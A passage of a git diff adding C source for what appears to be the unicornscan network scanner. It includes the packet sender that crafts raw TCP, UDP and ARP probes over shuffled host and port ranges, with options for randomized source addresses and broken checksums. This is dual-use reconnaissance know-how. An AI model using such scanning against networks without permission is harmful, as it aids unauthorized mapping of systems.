cmp_nextport(void); +static void inc_nextport(void); +static void init_payload(void); +static int cmp_payload(uint16_t /*port*/, uint8_t ** /*data*/, uint32_t * /*payload_s*/, int32_t * /*local_port*/, int (** /*create payload */)(uint8_t **, uint32_t *, void *), uint16_t /* payload group */); +static void inc_payload(void); + +/* for ( init; cmp; inc ) { logic for ttl requested */ +static void init_nextttl(void) { + sl.curttl=s->ss->minttl; +} + +static int cmp_nextttl(void) { + if (sl.curttl > s->ss->maxttl) { + return 0; + } + return 1; +} + +static void inc_nextttl(void) { + ++sl.curttl; +} + +/* for ( init; cmp; inc ) { logic for scan repeats requested */ +static void init_nextround(void) { + sl.curround=0; +} + +static int cmp_nextround(void) { + if (sl.curround >= s->repeats) { + return 0; + } + return 1; +} + +static void inc_nextround(void) { + ++sl.curround; +} + +/* for ( init; cmp; inc ) { logic for scan port list requested */ +static void init_nextport(void) { + reset_getnextport(); +} + +static int cmp_nextport(void) { + if (get_nextport(&sl.curport) == -1) { + return 0; + } + return 1; +} + +static void inc_nextport(void) { + /* XXX do nothing, get_nextport incr's itself */ + return; +} + +/* for ( init; cmp; inc ) { logic for scan payloads requested */ +static void init_payload(void) { + sl.plindex=0; +} + +static int cmp_payload(uint16_t port, uint8_t **data, uint32_t *payload_size, int32_t *lport, int (**create_payload)(uint8_t ** /* data */, uint32_t * /* size */, void *), uint16_t payload_group) { + return get_payload(sl.plindex, IPPROTO_UDP, port, data, payload_size, lport, create_payload, payload_group); +} + +static void inc_payload(void) { + sl.plindex++; +} + +/* for ( init; cmp; inc ) { logic for scan hosts requested */ +static void init_nexthost(void) { + union sock_u su; + + memcpy(&sl.curhost, &s->ss->target, sizeof(struct sockaddr_storage)); + su.ss=&sl.curhost; + + if (su.fs->family == AF_INET) { + union { + struct sockaddr_in *sin; + struct sockaddr_storage *ss; + } curhost_u, cnt_u, targetmask_u; + + cnt_u.ss=&sl.curhost_cnt; + + targetmask_u.ss=&s->ss->targetmask; + + sl.ipv4_mix=prng_get32() & ~(targetmask_u.sin->sin_addr.s_addr); + + memcpy(&sl.curhost_cnt, &s->ss->target, sizeof(struct sockaddr_storage)); + + curhost_u.ss=&sl.curhost; + cnt_u.ss=&sl.curhost_cnt; + + curhost_u.sin->sin_addr.s_addr=cnt_u.sin->sin_addr.s_addr ^ sl.ipv4_mix; + } + else { + PANIC("nyi"); + } + + return; +} + +static int cmp_nexthost(void) { + + return cidr_within((const struct sockaddr *)&sl.curhost_cnt, (const struct sockaddr *)&s->ss->target, (const struct sockaddr *)&s->ss->targetmask); + +} + +static void inc_nexthost(void) { + union sock_u su; + + su.ss=&sl.curhost; + + if (su.fs->family == AF_INET) { + union { + struct sockaddr_storage *ss; + struct sockaddr_in *sin; + } cur_u, cnt_u; + + cidr_inchost((struct sockaddr *)&sl.curhost_cnt); + + cur_u.ss=&sl.curhost; + cnt_u.ss=&sl.curhost_cnt; + + cur_u.sin->sin_addr.s_addr=cnt_u.sin->sin_addr.s_addr ^ sl.ipv4_mix; + } + else { + PANIC("nyi"); + } + + return; +} + +void send_packet(void) { + char conffile[512], *tmpchr=NULL; + float pps=0.00, tt=0.00; + uint8_t msg_type=0, *tmpptr=NULL, status=0; + int s_socket=0, worktodo=0; + size_t msg_len=0; + union { + drone_version_t *v; + uint8_t *ptr; + } d_u; + drone_version_t dv; + union { + send_workunit_t *s; + send_pri_workunit_t *p; + uint8_t *cr; + uint32_t *magic; + } wk_u; + size_t wku_len=0, port_str_len=0; + struct timeval start, end, total_time; + fl_t fnew; + send_stats_t send_stats; + + if (init_modules() < 0) { + terminate("cant initialize module structures, quiting"); + } + + close_output_modules(); + close_report_modules(); + + memset(&dv, 0, sizeof(dv)); + d_u.v=&dv; + dv.maj=DRONE_MAJ; + dv.min=DRONE_MIN; + dv.magic=DRONE_MAGIC; + + if (ipc_init() < 0) { + terminate("cant initialize IPC"); + } + + if ((s_socket=socktrans_bind(s->ipcuri)) < 0) { + terminate("cant create listener socket"); + } + + parent_sync(); + + DBG(M_CLD, "waiting for main to connect"); + + sl.c_socket=socktrans_accept(s_socket, DEF_SOCK_TIMEOUT); + if (sl.c_socket < 0) { + terminate("main didnt connect, exiting"); + } + + DBG(M_CLD, "got connection"); + + if (get_singlemessage(sl.c_socket, &msg_type, &status, &tmpptr, &msg_len) != 1) { + terminate("unexpected message sequence from parent while looking for ident request, exiting"); + } + if (msg_type != MSG_IDENT || status != MSG_STATUS_OK) { + terminate("bad message from parent, wrong type `%s' or bad status %d, exiting", strmsgtype(msg_type), status); + } + + if (send_message(sl.c_socket, MSG_IDENTSENDER, MSG_STATUS_OK, d_u.ptr, sizeof(drone_version_t)) < 0) { + terminate("cant send back msgident to parent"); + } + + if (get_singlemessage(sl.c_socket, &msg_type, &status, &tmpptr, &msg_len) != 1) { + terminate("unexpected message sequence from parent while looking for ident request, exiting"); + } + if (msg_type != MSG_ACK || status != MSG_STATUS_OK) { + terminate("bad message from parent, wrong type `%s' or bad status %d, exiting", strmsgtype(msg_type), status); + } + +#if 0 + /* we dont want to pick a fight with the tasklets here, they are running at 19, so we will too */ + DBG(M_SND, "adjusting process priority to 19"); + if (setpriority(PRIO_PROCESS, 0, 19) < 0) { + ERR("cant adjust priority, expect some evilness: %s", strerror(errno)); + } +#endif + if (init_payloads() < 0) { + terminate("cant initialize payload structures, quiting"); + } + + if (init_payload_modules(&add_payload) < 0) { + terminate("cant initialize module payload structures, quiting"); + } + + /* get some payloads from the config files hopefully */ + snprintf(conffile, sizeof(conffile) -1, CONF_FILE, s->profile); + readconf(conffile); + + if (send_message(sl.c_socket, MSG_READY, MSG_STATUS_OK, NULL, 0) < 0) { + terminate("cant send ready message to parent"); + } + + DBG(M_CLD, "sender pid `%d' starting workunit loop", getpid()); + + worktodo=1; + + while (worktodo) { + if (recv_messages(sl.c_socket) < 1) { + ERR("recv_messages fails, *shrug* no more work todo"); + worktodo=0; + break; + } + + while (get_message(sl.c_socket, &msg_type, &status, &(wk_u.cr), &msg_len) > 0) { + + DBG(M_IPC, "got a message `%s' with status %u from parent", strmsgtype(msg_type), status); + + if (msg_type == MSG_QUIT) { + worktodo=0; + break; + } + + if (msg_type != MSG_WORKUNIT) { + ERR("i was expecting a work unit or quit message, i got a `%s' message, ignoring", strmsgtype(msg_type)); + continue; + } + + DBG(M_WRK, "workunit `%s'", strworkunit(wk_u.cr, msg_len)); + + if (msg_len < 4) { + ERR("short workunit (way too short) ignoring"); + continue; + } + + if (*wk_u.magic == PRI_4SEND_MAGIC) { + union { + struct sockaddr_storage ss; + struct sockaddr_in sin; + } s_u; + struct in_addr ia; + + if (msg_len < sizeof(send_pri_workunit_t)) { + ERR("short pri workunit, ignoring"); + continue; + } + + DBG(M_WRK, "got priority send workunit"); + + if (s->ss->mode != MODE_TCPSCAN) { + ERR("pri workunit outside of tcp mode"); + continue; + } + + memset(&s_u.ss, 0, sizeof(struct sockaddr_storage)); + s_u.sin.sin_addr.s_addr=wk_u.p->dhost; + s_u.sin.sin_family=AF_INET; + + open_link(SOCK_IP, &s_u.ss, NULL); + + ia.s_addr=wk_u.p->dhost; + + DBG(M_WRK, "send %s to host seq %08x %u -> %s:%u flags %08x seq %u window size %u", + strtcpflgs(wk_u.p->flags), + wk_u.p->mseq, + wk_u.p->sport, + inet_ntoa(ia), + wk_u.p->dport, + wk_u.p->flags, + wk_u.p->tseq, + wk_u.p->window_size + ); + + start_tslot(); + + priority_send_packet((const send_pri_workunit_t *)wk_u.p); + + end_tslot(); + continue; + } /* PRI send magic */ + + if (msg_len < sizeof(send_workunit_t)) { + ERR("short workunit, ignoring"); + continue; + } + + DBG(M_WRK, "got batch workunit `%s'", strworkunit((const void *)wk_u.cr, msg_len)); + + sl.packets_sent=0; + + if (s->ss->port_str != NULL) { + xfree(s->ss->port_str); + s->ss->port_str=NULL; + } + + s->repeats=wk_u.s->repeats; + s->send_opts=wk_u.s->send_opts; + s->pps=wk_u.s->pps; + s->delay_type_exp=wk_u.s->delay_type; + memcpy(&s->vi[0]->myaddr, &wk_u.s->myaddr, sizeof(struct sockaddr_storage)); + memcpy(&s->vi[0]->mymask, &wk_u.s->mymask, sizeof(struct sockaddr_storage)); + memcpy(&sl.esrc, &wk_u.s->hwaddr, THE_ONLY_SUPPORTED_HWADDR_LEN); + s->vi[0]->mtu=wk_u.s->mtu; + + memcpy(&s->ss->target, &wk_u.s->target, sizeof(struct sockaddr_storage)); + memcpy(&s->ss->targetmask, &wk_u.s->targetmask, sizeof(struct sockaddr_storage)); + s->ss->tos=wk_u.s->tos; + s->ss->minttl=wk_u.s->minttl; + s->ss->maxttl=wk_u.s->maxttl; + s->ss->ip_off=wk_u.s->ip_off; + s->ss->fingerprint=wk_u.s->fingerprint; + s->ss->src_port=wk_u.s->src_port; + + s->ss->tcphdrflgs=wk_u.s->tcphdrflgs; + s->ss->tcpoptions_len=MIN(wk_u.s->tcpoptions_len, sizeof(s->ss->tcpoptions)); + memset(s->ss->tcpoptions, 0, sizeof(s->ss->tcpoptions)); + memcpy(s->ss->tcpoptions, wk_u.s->tcpoptions, s->ss->tcpoptions_len); + s->ss->window_size=wk_u.s->window_size; + s->ss->syn_key=wk_u.s->syn_key; + + wku_len=sizeof(send_workunit_t); + port_str_len=wk_u.s->port_str_len; + + sl.local_port=s->ss->src_port; + + if (*wk_u.magic == TCP_SEND_MAGIC) { + + open_link(SOCK_IP, &s->ss->target, &s->ss->targetmask); + + DBG(M_WRK, "got tcp workunit"); + s->ss->mode=MODE_TCPSCAN; + + } + else if (*wk_u.magic == UDP_SEND_MAGIC) { + + open_link(SOCK_IP, &s->ss->target, &s->ss->targetmask); + + DBG(M_WRK, "got udp workunit"); + s->ss->mode=MODE_UDPSCAN; + + } + else if (*wk_u.magic == ARP_SEND_MAGIC) { + + open_link(SOCK_LL, &s->ss->target, &s->ss->targetmask); + + DBG(M_WRK, "got arp workunit"); + s->ss->mode=MODE_ARPSCAN; + + } /* ARP send magic */ + else { + ERR("unknown workunit type 0x%08x, ignoring", *wk_u.magic); + continue; + } + + /* s->pps shouldnt be negative, but well just check anyhow */ + if (s->pps < 1) PANIC("pps too low"); + + init_packet(); /* setup tcpoptions, ip chars etc */ + init_tslot(s->pps, s->delay_type_exp); + + if (s->ss->mode == MODE_TCPSCAN || s->ss->mode == MODE_UDPSCAN) { + uint8_t *psrc=NULL; + + psrc=wk_u.cr; + psrc += wku_len; + + if ((size_t)(wku_len + port_str_len) < msg_len) { + terminate("mismatched msg_len of %u compared to length of packet %d", (uint32_t)msg_len, (uint32_t)(wku_len + port_str_len)); + } + + if (s->ss->port_str) { + xfree(s->ss->port_str); + } + s->ss->port_str=xstrdup(psrc); + } + +#if 0 + WHY DID THIS HAPPEN? + /* XXX + * kludged for icc, it was crashing with movzbl (junk esi) inside + * __find_specmb in libc before (its part of printf to locate specifiers) + */ + tmpchr=inet_ntoa(s->vi[0]->myaddr.sin_addr); + assert(tmpchr != NULL); + s->vi[0]->myaddr_s[sizeof(s->vi[0]->myaddr_s) -1]='\0'; + strncpy(s->vi[0]->myaddr_s, tmpchr, sizeof(s->vi[0]->myaddr_s) -1); + /* __asm__("int3"); */ +#endif + CLEAR(s->vi[0]->myaddr_s); + tmpchr=cidr_saddrstr((const struct sockaddr *)&s->vi[0]->myaddr); + assert(tmpchr != NULL); + strncpy(s->vi[0]->myaddr_s, tmpchr, sizeof(s->vi[0]->myaddr_s) - 1); + + if (s->ss->mode == MODE_UDPSCAN || s->ss->mode == MODE_TCPSCAN) { + if (s->ss->port_str[0] == 'q' || s->ss->port_str[0] == 'Q') { + if (s->ss->mode == MODE_UDPSCAN) { + parse_pstr(s->udpquickports, NULL); + } + else { + parse_pstr(s->tcpquickports, NULL); + } + } + else { + DBG(M_PRT, "user port range requested, range `%s'", s->ss->port_str); + parse_pstr(s->ss->port_str, NULL); + } + + if (GET_SHUFFLE()) { + shuffle_ports(); + } + } + + start.tv_sec=0; + start.tv_usec=0; + if (gettimeofday(&start, NULL) < 0) { + ERR("gettimeofday fails with :%s", strerror(errno)); + /* *shrug*, we shall keep going? , ctrl-c rules the day here */ + } + + if (flhead) { + destroy_loop_logic(); + } + + /* repeats */ + fnew.init=&init_nextround; + fnew.c_t=CTVOID; + fnew.c_u.cmp=&cmp_nextround; + fnew.inc=&inc_nextround; + fnew.next=NULL; + add_loop_logic((const fl_t *)&fnew); + + if (s->ss->mode == MODE_TCPSCAN || s->ss->mode == MODE_UDPSCAN) { + /* port */ + fnew.init=&init_nextport; + fnew.c_t=CTVOID; + fnew.c_u.cmp=&cmp_nextport; + fnew.inc=&inc_nextport; + fnew.next=NULL; + add_loop_logic((const fl_t *)&fnew); + + /* ttl XXX normally only 1 iter */ + fnew.init=&init_nextttl; + fnew.c_t=CTVOID; + fnew.c_u.cmp=&cmp_nextttl; + fnew.inc=&inc_nextttl; + fnew.next=NULL; + add_loop_logic((const fl_t *)&fnew); + } + + /* payload */ + if (s->ss->mode == MODE_UDPSCAN) { + fnew.init=&init_payload; + fnew.c_t=CTPAYL; + fnew.c_u.gpl=&cmp_payload; + fnew.inc=&inc_payload; + fnew.next=NULL; + add_loop_logic((const fl_t *)&fnew); + } + + /* host */ + fnew.init=&init_nexthost; + fnew.c_t=CTVOID; + fnew.c_u.cmp=&cmp_nexthost; + fnew.inc=&inc_nexthost; + fnew.next=NULL; + add_loop_logic((const fl_t *)&fnew); + + /* + * do the work + */ + loop_list(flhead); + + end.tv_sec=0; + end.tv_usec=0; + if (gettimeofday(&end, NULL) < 0) { + ERR("gettimeofday[2] fails with :%s", strerror(errno)); + /* *shrug*, we shall keep going? , ctrl-c rules the day here */ + } + + total_time.tv_sec=(end.tv_sec - start.tv_sec); + total_time.tv_usec=(end.tv_usec - start.tv_usec); + + tt=(double)total_time.tv_sec + ((double)total_time.tv_usec / 1000000); + if (tt > 0.0) { + pps=sl.packets_sent / tt; + } + else { + pps=0; + } + + send_stats.pps=pps; + send_stats.packets_sent=sl.packets_sent; + + DBG(M_IPC, "sender sending message done"); + + if (send_message(sl.c_socket, MSG_WORKDONE, MSG_STATUS_OK, (void *)&send_stats, sizeof(send_stats)) < 0) { + terminate("cant send workdone message to parent, exiting"); + } + + } /* while get_message */ + + } /* while worktodo */ + + uexit(0); +} + +static void _send_packet(void) { + uint16_t n_chksum=0, t_chksum=0, rport=0; + int ipv4=0, ipv6=0; + union sock_u ipvchk; + struct sockaddr_storage src; + union sock_u target_u, myaddr_u; + + start_tslot(); + + if (GET_SENDERINTR()) { + xpoll_t intrp; + int getret=0; + uint8_t msg_type=0, status=0; + size_t msg_len=0; + union { + uint8_t *ptr; + send_pri_workunit_t *w; + } w_u; + + DBG(M_IPC, "sender can be interupted, checking for data"); + intrp.fd=sl.c_socket; + + if (xpoll(&intrp, 1, 0) < 0) { + ERR("xpoll fails: %s", strerror(errno)); + } + + if (intrp.rw & XPOLL_READABLE) { + if (recv_messages(sl.c_socket) < 0) { + ERR("recv messages fails in send prio loop"); + return; + } + while (1) { + getret=get_message(sl.c_socket, &msg_type, &status, &w_u.ptr, &msg_len); + if (getret < 1) { + break; + } + if (msg_type == MSG_WORKUNIT) { + struct in_addr ia; + + if (msg_len < sizeof(send_pri_workunit_t)) { + ERR("pri workunit too short"); + break; + } + if (w_u.w->magic != PRI_4SEND_MAGIC) { + ERR("pri workunit has wrong magic %08x", w_u.w->magic); + break; + } + + ia.s_addr=w_u.w->dhost; + + DBG(M_WRK, "send %s to host seq %08x %u -> %s:%u flags %08x seq %u window size %u", + strtcpflgs(w_u.w->flags), + w_u.w->mseq, + w_u.w->sport, + inet_ntoa(ia), + w_u.w->dport, + w_u.w->flags, + w_u.w->tseq, + w_u.w->window_size + ); + priority_send_packet((const send_pri_workunit_t *)w_u.w); + + end_tslot(); + start_tslot(); + } + else { + ERR("unknown workunit type `%s', ignoring", strmsgtype(msg_type)); + } + } + } + } + + ipvchk.ss=&s->vi[0]->myaddr; + if (ipvchk.fs->family == AF_INET) { + ipv4=1; + } + else if (ipvchk.fs->family == AF_INET6) { + ipv6=1; + } + else { + PANIC("nyi"); + } + + myaddr_u.ss=&src; + /* + * this does nothing if we have a null mask + */ + cidr_randhost( + (struct sockaddr *)myaddr_u.s, + (const struct sockaddr *)&s->vi[0]->myaddr, + (const struct sockaddr *)&s->vi[0]->mymask + ); + + target_u.ss=&sl.curhost; + + if (s->ss->mode == MODE_TCPSCAN || s->ss->mode == MODE_UDPSCAN) { + rport=(uint16_t)sl.curport; + + if (s->ss->src_port == -1) { + sl.local_port=0; + + sl.local_port=(uint16_t)(prng_get32() % 0xffff); + if (sl.local_port < MIN_LOCALPORT) { + sl.local_port += MIN_LOCALPORT; + } + } + else { + sl.local_port=(uint16_t)s->ss->src_port; + } + + if (sl.create_payload != NULL) { + DBG(M_SND, "running create payload"); + + if (sl.create_payload(&sl.payload, &sl.payload_size, target_u.s) < 0) { + ERR("create payload for port %d fails", rport); + return; + } + } + } + + makepkt_clear(); + + if (GET_BROKENTRANS() || GET_BROKENNET()) { + union { + struct { + uint16_t a; + uint16_t b; + } s; + uint32_t c; + } w_u; + + w_u.c=prng_get32(); + + if (GET_BROKENTRANS()) { + t_chksum=w_u.s.b; + } + + if (GET_BROKENNET()) { + n_chksum=w_u.s.a; + } + } + + if (s->ss->mode == MODE_TCPSCAN || s->ss->mode == MODE_UDPSCAN) { + /**************************************************************** + * BUILD IP HEADER * + ****************************************************************/ + if (ipv4 == 1) { + /* XXX */ + assert(target_u.fs->family == AF_INET && myaddr_u.fs->family == AF_INET); + + makepkt_build_ipv4( s->ss->tos, + (uint16_t)prng_get32() /* IPID */, + s->ss->ip_off, + sl.curttl, + s->ss->mode == MODE_TCPSCAN ? IPPROTO_TCP : IPPROTO_UDP, + n_chksum, + myaddr_u.sin->sin_addr.s_addr, + target_u.sin->sin_addr.s_addr, + NULL /* ip options */, + 0 /* ipopt size */, + NULL /* payload */, + 0 /* payload size */ + ); + } + else if (ipv6 == 1) { + PANIC("NYI"); + } + else { + PANIC("no!"); + } + } + else if (s->ss->mode == MODE_ARPSCAN) { + uint8_t ethbk[6]={ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; + + /**************************************************************** + * BUILD ETH HEADER * + ****************************************************************/ + makepkt_build_ethernet( 6, + (const uint8_t *)ðbk[0], + (const uint8_t *)sl.esrc, + ETHERTYPE_ARP + ); + } + + if (s->ss->mode == MODE_UDPSCAN) { + /**************************************************************** + * BUILD UDP HEADER * + ****************************************************************/ + + /* XXX need to disable checksums somehow by not using 0 as random */ + makepkt_build_udp( (uint16_t)sl.local_port, + rport, + t_chksum, + sl.payload, + (uint16_t)sl.payload_size + ); + } + else if (s->ss->mode == MODE_TCPSCAN) { + uint32_t seq=0; + + /**************************************************************** + * BUILD TCP HEADER * + ****************************************************************/ + TCPHASHTRACK(seq, target_u.sin->sin_addr.s_addr, rport, sl.local_port, s->ss->syn_key); + + makepkt_build_tcp( (uint16_t)sl.local_port, + rport, + t_chksum, + seq, + 0, /* XXX ackseq = seq oddity */ + s->ss->tcphdrflgs, + s->ss->window_size, + 0, /* urg ptr */ + s->ss->tcpoptions, + s->ss->tcpoptions_len, + NULL, /* payload */ + 0 /* payload size */ + ); + } + else if (s->ss->mode == MODE_ARPSCAN) { + /**************************************************************** + * BUILD ARP HEADER * + ****************************************************************/ + uint8_t arpbk[6]={ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + + if (ipv4 == 1) { + makepkt_build_arp( ARPHRD_ETHER, + ETHERTYPE_IP, + 6, + 4, + ARPOP_REQUEST, + (const uint8_t *)sl.esrc, + (const uint8_t *)&myaddr_u.sin->sin_addr.s_addr, + (const uint8_t *)&arpbk[0], + (const uint8_t *)&target_u.sin->sin_addr.s_addr + ); + } + else { + PANIC("nyi"); + } + } + + if (ISDBG(M_SND)) { + char myhost[256]; + + snprintf(myhost, sizeof(myhost) -1, "%s", cidr_saddrstr((const struct sockaddr *)myaddr_u.s)); + + if (s->ss->mode == MODE_TCPSCAN || s->ss->mode == MODE_UDPSCAN) { + DBG(M_SND, "sending to `%s:%d' from `%s:%u'", + cidr_saddrstr((const struct sockaddr *)&sl.curhost), + sl.curport, + myhost, + (uint16_t)sl.local_port + ); + } + else { + DBG(M_SND, "asking for `%s' from `%s'", cidr_saddrstr((const struct sockaddr *)&sl.curhost), myhost); + } + } + + if (sl.sockmode == SOCK_IP) { + size_t buf_size=0; + const uint8_t *pbuf=NULL; + + makepkt_getbuf(&buf_size, &pbuf); + if (pbuf != NULL && buf_size) { + ssize_t ips=0; + + ips=ip_send(sl.s_u.ipsock, pbuf, buf_size); + if (ips < 0 || (size_t)ips != buf_size) { + hexdump(pbuf, buf_size); + terminate("ip send fails somehow"); + } + } + else { + terminate("ip buffer NULL"); + } + } + else if (sl.sockmode == SOCK_LL) { + size_t buf_size; + const uint8_t *pbuf=NULL; + + makepkt_getbuf(&buf_size, &pbuf); + + if (pbuf != NULL && buf_size) { + ssize_t ets=0; + + ets=eth_send(sl.s_u.llsock, pbuf, buf_size); + + if (ets < 0 || (size_t)ets != buf_size) { + terminate("ethernet send fails somehow"); + } + } + else { + terminate("ethernet buffer NULL"); + } + } + else { + PANIC("socket is not anything i know about, impossible"); + } + + sl.packets_sent++; + + if (sl.create_payload != NULL && sl.payload != NULL) { + DBG(M_SND, "freeing payload"); + xfree(sl.payload); + sl.payload=NULL; + } + + end_tslot(); + + return; +} + +static void destroy_loop_logic(void) { + fl_t *ptr=NULL; + + for (; flhead != NULL; ) { + ptr=flhead->next; + xfree(flhead); + if (ptr == NULL) { + break; + } + flhead=ptr; + } + + flhead=NULL; +} + +static int add_loop_logic(const fl_t *fnew) { + fl_t *item=NULL; + + if (flhead == NULL) { + DBG(M_SND, "adding new logic list head"); + flhead=(fl_t *)xmalloc(sizeof(fl_t)); + item=flhead; + } + else { + DBG(M_SND, "adding new logic list node"); + item=flhead; + while (item->next != NULL) { + item=item->next; + } + item->next=(fl_t *)xmalloc(sizeof(fl_t)); + item=item->next; + } + + memset(item, 0, sizeof(fl_t)); + item->next=NULL; + item->init=fnew->init; + item->c_t=fnew->c_t; + switch (item->c_t) { + case CTVOID: + item->c_u.cmp=fnew->c_u.cmp; + break; + case CTPAYL: + item->c_u.gpl=fnew->c_u.gpl; + break; + default: + terminate("unknown function prototype for loop logic %x", item->c_t); + } + item->inc=fnew->inc; + + return 1; +} + +void loop_list(fl_t *node) { + assert(node != NULL); + + switch (node->c_t) { + case CTVOID: + for (node->init(); node->c_u.cmp(); node->inc()) { + if (node->next) { + loop_list(node->next); + } + else { + /* inside function call */ + _send_packet(); + } + } + break; + + case CTPAYL: + for (node->init(); node->c_u.gpl((uint16_t)sl.curport, &sl.payload, &sl.payload_size, &sl.local_port, &sl.create_payload, s->payload_group); node->inc()) { + if (node->next) { + loop_list(node->next); + } + else { + /* inside function call */ + _send_packet(); + } + } + break; + + default: + terminate("runtime error looping list, unknown compare function prototype in list `%c'", node->c_t); + break; + } + + return; +} + + +void priority_send_packet(const send_pri_workunit_t *w) { + union { + const send_pri_workunit_t *w; + const uint8_t *data; + } pw_u; + const uint8_t *dptr=NULL, *pbuf=NULL; + size_t dlen=0, buf_size=0; + + assert(w != NULL); + assert(w->magic == PRI_4SEND_MAGIC); + + get_postoptions(w->t_tstamp, w->m_tstamp); /* inside init_packet for now */ + + pw_u.w=w; + if (w->doff) { + dptr=pw_u.data + sizeof(send_pri_workunit_t); + dlen=w->doff; + } + + makepkt_clear(); + + /**************************************************************** + * BUILD IP HEADER * + ****************************************************************/ + makepkt_build_ipv4( s->ss->tos /* TOS */, + (uint16_t)prng_get32() & 0xffff /* IPID */, + s->ss->ip_off /* FRAG */, + s->ss->maxttl /* TTL XXX best thing to do here? max might be a best guess */, + IPPROTO_TCP, + 0 /* chksum*/, /* XXX broken checksum */ + w->shost, + w->dhost, + NULL /* ip options */, + 0 /* ipopt len */, + NULL /* payload */, + 0 /* payload size */ + ); + + + /**************************************************************** + * BUILD TCP HEADER * + ****************************************************************/ + makepkt_build_tcp( w->sport, + w->dport, + 0, /* XXX broken checksum */ + w->mseq, + w->tseq, + w->flags, + w->window_size, + 0, /* urgent ptr */ + s->ss->posttcpoptions, + s->ss->posttcpoptions_len, + dptr, + dlen + ); + + + makepkt_getbuf(&buf_size, &pbuf); + if (pbuf != NULL && buf_size) { + ssize_t ips=0; + + ips=ip_send(sl.s_u.ipsock, pbuf, buf_size); + + if (ips < 0 || (size_t)ips != buf_size) { + terminate("ip send fails somehow"); + } + } + else { + terminate("ip buffer NULL"); + } + + sl.packets_sent++; + + return; +} + +static void open_link(int mode, struct sockaddr_storage *target, struct sockaddr_storage *targetmask) { + + DBG(M_SND, "open link at `%s'", mode == SOCK_LL ? "link layer" : "network layer"); + + if (sl.sockmode != mode) { + switch (sl.sockmode) { + case SOCK_LL: + if (sl.s_u.llsock != NULL) { + eth_close(sl.s_u.llsock); + sl.s_u.llsock=NULL; + } + break; + + case SOCK_IP: + if (sl.s_u.ipsock != NULL) { + ip_close(sl.s_u.ipsock); + sl.s_u.ipsock=NULL; + } + break; + + } + } + + sl.sockmode=mode; + + switch (mode) { + case SOCK_IP: + if (sl.s_u.ipsock == NULL) { + sl.s_u.ipsock=ip_open(); + if (sl.s_u.ipsock == NULL) { + terminate("dnet ip_open fails"); + } + } + break; + + case SOCK_LL: + if (sl.s_u.llsock == NULL) { + sl.s_u.llsock=eth_open(s->interface_str); + if (sl.s_u.llsock == NULL) { + terminate("dnet eth_open `%s' fails", s->interface_str); + } + } + break; + + default: + terminate("unknown link mode `%d', exiting", mode); + } + + return; +} diff --git a/src/scan_progs/send_packet.h b/src/scan_progs/send_packet.h new file mode 100644 index 0000000..58cfbed --- /dev/null +++ b/src/scan_progs/send_packet.h @@ -0,0 +1,24 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _SEND_PACKET_H +# define _SEND_PACKET_H + +void send_packet(void) _NORETURN_; + +#endif diff --git a/src/scan_progs/tcphash.h b/src/scan_progs/tcphash.h new file mode 100644 index 0000000..21f5bc7 --- /dev/null +++ b/src/scan_progs/tcphash.h @@ -0,0 +1,41 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _TCPHASH_H +# define _TCPHASH_H + +#define TCPHASHTRACK(output, srcip, srcport, dstport, syncookie) \ + output=(syncookie) ^ ((srcip) ^ ( ( (srcport) << 16) + (dstport) )) + +/* + * compare unsigned sequence numbers with wrap correctly + */ + +#ifdef SEQ_LEQ +# undef SEQ_LEQ +#endif +#define SEQ_LEQ(a, b) ((int32_t )((a) - (b)) <= 0) + +#ifdef SEQ_GEQ +# undef SEQ_GEQ +#endif +#define SEQ_GEQ(a, b) ((int32_t )((a) - (b)) >= 0) + +#define SEQ_WITHIN(x, low, high) (SEQ_GEQ(x, low) && SEQ_LEQ(x, high)) + +#endif diff --git a/src/scan_progs/tests/Makefile.in b/src/scan_progs/tests/Makefile.in new file mode 100644 index 0000000..e49f983 --- /dev/null +++ b/src/scan_progs/tests/Makefile.in @@ -0,0 +1,20 @@ +include ../../../Makefile.inc + +SRCS=common.c testp1.c tests1.c +OBJS=$(SRCS:.c=.o) +PKTS=pkt1.xxd pkt2.xxd pkt3.xxd + +%.dat: %.xxd + cat $< | xxd -r > $@ + +LDFLAGS=$(G_LDFLAGS) -L../../unilib -L../ -lscan -lunilib -lpcap + +all: $(OBJS) $(PKTS:.xxd=.dat) + $(LIBTOOL) --mode=link $(CC) $(CFLAGS) -o tests1 common.o tests1.o $(LDFLAGS) + $(LIBTOOL) --mode=link $(CC) $(CFLAGS) -o testp1 common.o testp1.o $(LDFLAGS) + +clean: + rm -f $(OBJS) tests1 testp1 *.dat +distclean: +install: +uninstall: diff --git a/src/scan_progs/tests/common.c b/src/scan_progs/tests/common.c new file mode 100644 index 0000000..9f9a5ed --- /dev/null +++ b/src/scan_progs/tests/common.c @@ -0,0 +1,62 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include +#include + +#include +#include +#include +#include 